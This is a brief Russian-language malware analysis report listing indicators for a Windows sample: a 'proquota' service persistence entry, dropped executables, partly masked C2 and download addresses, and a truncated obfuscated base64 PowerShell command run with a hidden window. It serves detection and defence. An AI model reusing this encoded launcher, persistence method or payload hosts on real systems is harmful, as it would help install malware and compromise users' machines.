Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\proquota] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\proquota] 'ImagePath' = '"<SYSTEM32>\WcnEapPeerProxy\proquota.exe"'
- 'proquota' "<SYSTEM32>\WcnEapPeerProxy\proquota.exe"
- 'proquota' <SYSTEM32>\WcnEapPeerProxy\proquota.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAGoAZQBpAHAAYQBnAD0AKAAnAFYAJwArACgAJwB4ADYAYQAnACsAJwBqAHAAMwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAUgBQAHIATwBGAEkATABFAFwASgBMAHQAOABMAD...
- %HOMEPATH%\jlt8l16\sywsfk8\uzwko5gz0.exe
- <SYSTEM32>\wcneappeerproxy\proquota.exe
- %HOMEPATH%\jlt8l16\sywsfk8\uzwko5gz0.exe в <SYSTEM32>\wcneappeerproxy\proquota.exe
- '18#.#15.227.107':443
- http://mu##-in.com/wp-admin/Q/
- http://18#.##5.227.107:443/gbefBSxU1Jir5Nx/9DJKvpxT7DJe/ via 18#.#15.227.107
- DNS ASK mu##-in.com
- '%HOMEPATH%\jlt8l16\sywsfk8\uzwko5gz0.exe'
- '<SYSTEM32>\wcneappeerproxy\proquota.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAGoAZQBpAHAAYQBnAD0AKAAnAFYAJwArACgAJwB4ADYAYQAnACsAJwBqAHAAMwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAUgBQAHIATwBGAEkATABFAFwASgBMAHQAOABMAD...' (со скрытым окном)